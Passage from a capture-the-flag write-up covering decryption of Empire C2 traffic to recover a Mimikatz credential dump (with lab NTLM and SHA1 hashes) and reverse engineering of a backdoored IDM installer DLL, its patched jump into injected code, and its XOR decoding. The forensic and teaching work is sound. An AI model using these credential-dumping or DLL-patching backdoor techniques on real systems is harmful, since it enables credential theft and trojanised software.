    expected = hmac.new(key, data[:-10], hashlib.sha256).digest()[:10]
    if not hmac.compare_digest(mac, expected):
        raise ValueError('HMAC verification failed')
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.decrypt(ciphertext)

def main():
    if len(sys.argv) < 2:
        print('Usage: python3 file.py <file> [skip_bytes] [session_key]')
        sys.exit(1)
    path = sys.argv[1]
    skip = int(sys.argv[2]) if len(sys.argv) > 2 else 20
    key = sys.argv[3].encode('ascii') if len(sys.argv) > 3 else DEFAULT_SESSION_KEY
    with open(path, 'rb') as f:
        data = f.read()
    plaintext = decrypt(data, key, skip)
    sys.stdout.buffer.write(plaintext)

if __name__ == '__main__':
    main()

Running this on the first tasked packet yielded a Base64-encoded payload. (From the Empire packet header, this corresponded to Type 44 / Execute-Assembly, which reflects and executes a compiled .NET assembly in memory)

Looking further down the TCP stream, two additional packets stood out:

Suspicious Empire Packets HTTP GET and Large Response Packet

The GET /admin/get.php request is a routine agent check-in/staging request. However, the subsequent packet immediately caught my attention: a large response containing 9,966 bytes of exfiltrated data sent from the victim machine back to the attacker


Finding the Flag

I extracted the 9,966 byte response and saved it as sus_data , Decrypting it with our script:

python3 decrypt.py sus_data 20 > decrypted_response.bin

This successfully decrypted the payload, revealing a Base64-encoded string:

Decrypted Base64 Response

Decoding the Base64 data reveals the full output of Mimikatz (sekurlsa::logonpasswords) executed on the target host (satellite-2341.CORP.local):

Hostname: satellite-2341.CORP.local / S-1-5-21-288640240-4143160774-4193478011

  .#####.   mimikatz 2.2.0 (x64) #19041 Nov 20 2021 08:28:06
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 332550 (00000000:00051306)
Session           : Interactive from 1
User Name         : SatAdministrator
Domain            : CORP
Logon Server      : CORP-DC
Logon Time        : 8/30/2022 12:33:30 PM
SID               : S-1-5-21-288640240-4143160774-4193478011-1114
	msv :	
	 [00000003] Primary
	 * Username : SatAdministrator
	 * Domain   : CORP
	 * NTLM     : a9fdfa038c4b75ebc76dc855dd74f0da
	 * SHA1     : 9400ae28448e1364174dde269b2cce1bca9d7ee8
	 * DPAPI    : fd11ad3dc4333190109c15db931a3b4a
	tspkg :	
	wdigest :	
	 * Username : SatAdministrator
	 * Domain   : CORP
	 * Password : (null)
	kerberos :	
	 * Username : SatAdministrator
	 * Domain   : CORP.LOCAL
	 * Password : (null)
	ssp :	
	credman :	
	 [00000000]
	 * Username : Administrator
	 * Domain   : corp-dc
	 * Password : HTB{th3_3mp1r3_F1n4lly_C0ll4ps3d}
	cloudap :	

Authentication Id : 0 ; 332518 (00000000:000512e6)
Session           : Interactive from 1
User Name         : SatAdministrator
Domain            : CORP
Logon Server      : CORP-DC
Logon Time        : 8/30/2022 12:33:30 PM
SID               : S-1-5-21-288640240-4143160774-4193478011-1114
........
Logon Time        : 8/30/2022 12:33:17 PM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : SATELLITE-2341$
	 * Domain   : CORP
	 * Password : (null)
	kerberos :	
	 * Username : satellite-2341$
	 * Domain   : CORP.LOCAL
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

mimikatz(powershell) # exit
Bye

Inspecting the output, the flag is stored under the Credential Manager (credman) entries for the Administrator account:

HTB{th3_3mp1r3_F1n4lly_C0ll4ps3d}


idman (Reverse Engineering)

Overview

We were provided with an executable called idman.exe and tasked with analyzing it to retrieve the flag.

At first glance, the binary masquerades as a standard installer for Internet Download Manager (IDM). However, dynamic execution reveals that it is backdoored with malicious activity.

While I didn’t solve this challenge during the live CTF competition due to time constraints, I revisited it post-CTF after discussing the intended approach with friends. Here is the complete post-competition analysis and solution.


Initial Triage & Dynamic Execution

Running the installer inside a secure virtual machine (VM) and analyzing it in Any.Run shows that it extracts and installs a full set of IDM application binaries and DLLs:

Extracted Files Overview Installed IDM Directory

During the competition, searching for hardcoded strings matching HTB{...} or flag{...} across all extracted files yielded no results, indicating the payload and flag are decrypted dynamically at runtime.


Isolating the Backdoored DLL

To quickly identify modified files, the best approach is to download the authentic, legitimate installer of the exact same IDM version and compare the installed directories:

Comparing Challenge Files vs Legitimate Installation

With over a dozen DLLs present, manually disassembling each one or searching for cryptographic constants would be time-consuming. Instead, we can calculate the MD5 hashes of all dropped DLLs and query the VirusTotal API to check for modified or flagged binaries:

import requests
import time

hashes = {
    "downlWithIDM64.dll": "13c99cbf0e66d5a8003a650c5642ca30",
    "downlWithIDM.dll": "410f3b565bf8fa6257a4fe67ac587f6c",
    "idmbrbtn64.dll": "8d17f0a80d7849bb495a41e9d2ada409",
    "idmbrbtn.dll": "c937903105b435499e8d677f1e5e63ca",
    "idmcchandler2_64.dll": "5012ea14f13dd58ffeb14553824d8ebb",
    "idmcchandler2.dll": "36b618f848d6dda620bf0b151eacf02d",
    "idmcchandler7_64.dll": "c0a6fb25175d79b6da9b9b8c390166c2",
    "idmcchandler7.dll": "53cc28786b4f3ed3a21075c2ac14705c",
    "idmfsa.dll": "33fbff2850d3669c334761b73c639c00",
    "IDMFType64.dll": "c976ceb4be1daf3a848c11a4adf224ba",
    "idmftype.dll": "f88f6ec2bc96987af389ff0db3e794af",
    "IDMGetAll64.dll": "597164da15b26114e7f1136965533d72",
    "IDMGetAll.dll": "d784495a3cdd12f3035f6c89a22d8c16",
    "IDMIECC64.dll": "e032a50d2cf9c5bf6ff602c1855d5a08",
    "IDMIECC.dll": "0f3912e782d08835394dd7101ab227e5",
    "idmindex.dll": "439b6fb7af2147dfbf8427ecc1d85218",
    "idmmkb.dll": "ac93b449043a232627c6ea3b51568c64",
    "idmmzcc7_64.dll": "a91988279340b7c8ad008fd9bc95ff63",
    "idmmzcc7.dll": "912f54a5396b4a25b72fdba59d23407a",
    "IDMNetMon64.dll": "fdfc47a1086bd461e49a394442a74ea6",
    "IDMNetMon.dll": "754cf28e647bcbe72ba5322ff6fa4159",
    "IDMShellExt64.dll": "a3c44204992e307d121df09dd6a1577c",
    "IDMShellExt.dll": "38c47b919f9013b020ff1f088a92f5b2",
    "idmvconv.dll": "64be23a19a20e38fb76805b6c8290bc0",
    "IDMVMPrs64.dll": "7de4d1751783adf5714e601cb6d73131",
    "IDMVMPrs.dll": "ddbee44d0fe2aa0b094b53816d7b7efd",
    "idmvs.dll": "442da1a33143c011de152de592f78a30",
    "libcrypto.dll": "d01047a261cec2caa5cabb01e0081f66",
    "libssl.dll": "c9bce3e14eba0df115af5b6516276a5e",
}

API_KEY = "YOUR_VIRUSTOTAL_API_KEY"
headers = {"x-apikey": API_KEY}

for name, h in hashes.items():
    r = requests.get(f"https://www.virustotal.com/api/v3/files/{h}", headers=headers)
    if r.status_code == 200:
        stats = r.json()["data"]["attributes"]["last_analysis_stats"]
        print(f"{name}: {stats['malicious']}/{stats['malicious']+stats['undetected']} flagged — https://www.virustotal.com/gui/file/{h}")
    else:
        print(f"{name}: not found on VT — status {r.status_code}")
    time.sleep(16)  # Rate limit: 4 req/min

The script results immediately pinpoint the anomaly:

VirusTotal Query Results VirusTotal Detection Details

Out of all the DLLs, idmvs.dll was the only binary flagged as malicious!


Reverse Engineering idmvs.dll

Loading idmvs.dll into IDA Pro and reviewing its functions, one exported function immediately stands out: GetVBuild.

GetVBuild Function in IDA Jump to Injected Shellcode at 0x10001200

Inside GetVBuild, there is an unconditional jump to 0x10001200, pointing to an injected shellcode region.

Comparing this with the clean, authentic idmvs.dll:

Authentic idmvs.dll Disassembly Binary Comparison: Authentic vs Patched

At offset 0x10001080, the authentic instruction mov eax, 0xF94D was patched into jmp 0x1200, redirecting execution to 134 bytes of injected code placed at offset 0x1200 (which is zero-filled padding in the legitimate DLL).


Decryption Routine Breakdown

Analyzing the shellcode disassembly at 0x10001200 reveals two distinct decryption stages:

Rolling XOR+ADD Stream Cipher

  1. Stage 1 (Stream Cipher): A rolling XOR + ADD stream cipher that decrypts 4 bytes per iteration over 23 (0x17) iterations, dynamically unpacking the next stage in-place based on the address in ESI.
  2. Stage 2 (Key Derivation & XOR): The unpacked code dynamically constructs the key 0xDEADBEEF using obfuscated arithmetic:
xor  [ebp-4], eax        ; Zero the local variable
dec  [ebp-4]              ; Set to 0xFFFFFFFF
add  byte [ebp-4], 0xF0   ; Byte 0: 0xFF + 0xF0 = 0xEF
xor  byte [ebp-3], 0x41   ; Byte 1: 0xFF ^ 0x41 = 0xBE
xor  byte [ebp-2], 0x52   ; Byte 2: 0xFF ^ 0x52 = 0xAD
add  byte [ebp-1], 0xDF   ; Byte 3: 0xFF + 0xDF = 0xDE
                          ; Result: [ebp-4] = 0xDEADBEEF

It then decrypts 9 consecutive DWORDs (36 bytes) located at 0x10001258 using the derived key 0xDEADBEEF:

0xb9ccd289 ^ 0xDEADBEEF = 0x67616c66  →  "flag"
0xb6f2cb94 ^ 0xDEADBEEF = 0x685f757b  →  "{u_h"
0x81c8c88e ^ 0xDEADBEEF = 0x5f657661  →  "ave_"
0xaccae18e ^ 0xDEADBEEF = 0x72675f61  →  "a_gr"
0x81d9df8a ^ 0xDEADBEEF = 0x5f746165  →  "eat_"
0x81c8c78a ^ 0xDEADBEEF = 0x5f657965  →  "eye_"
0x81dfd189 ^ 0xDEADBEEF = 0x5f726f66  →  "for_"
0xbfd9db8b ^ 0xDEADBEEF = 0x61746564  →  "deta"
0xa3ded286 ^ 0xDEADBEEF = 0x7d736c69  →  "ils}"

Dynamic Debugging & Extracting the Flag

We can retrieve the flag dynamically using a debugger (e.g., x32dbg / IDA Debugger).

By loading idmvs.dll, setting a breakpoint, redirecting EIP directly to 0x10001200, and single-stepping through the loop, we can monitor memory at 0x10001258:

Redirecting EIP to Injected Routine Stepping Through the Decryption Loop

Once the loop completes, the plaintext flag appears directly in the memory dump:

Flag in Memory Dump


IDAPython Solver

Alternatively, we can emulate both decryption stages statically in IDA Pro using IDAPython:

import idc
import ida_bytes

def emulate_idm_decryption():
    # Stage 1: Rolling XOR + ADD stream cipher
    edx = 0xCC2D917C
    esi = 0x1000120C
    
    for i in range(23):
        esi += 4
        target = esi + 0x11
        enc_dword = ida_bytes.get_dword(target)
        dec_dword = enc_dword ^ edx
        ida_bytes.patch_dword(target, dec_dword)
        edx = (edx + dec_dword) & 0xFFFFFFFF

    # Stage 2: 0xDEADBEEF XOR key decryption
    layer2_key = 0xDEADBEEF
    layer2_start = 0x10001258
    
    for i in range(9):
        target = layer2_start + (i * 4)
        enc_dword = ida_bytes.get_dword(target)
        ida_bytes.patch_dword(target, enc_dword ^ layer2_key)
        
    decrypted_data = ida_bytes.get_bytes(layer2_start, 36)
    if decrypted_data:
        try:
            print(f"[+] Decrypted Flag: {decrypted_data.decode('utf-8')}")
        except Exception as e:
            print(f"[-] Error decoding flag: {e}")

emulate_idm_decryption()

Running the script in IDA outputs the flag directly to the console:

IDAPython Solver Output

flag{u_have_a_great_eye_for_details}


I hope you had a blast or learned something new — catch you at the next one! Stay tuned! 👋🏻

اللهم انفعنا بما علَّمتنا، وعلِّمنا ما ينفعنا، وزِدنا علمًا وفقهًا وفهمًا

Categories:

Updated: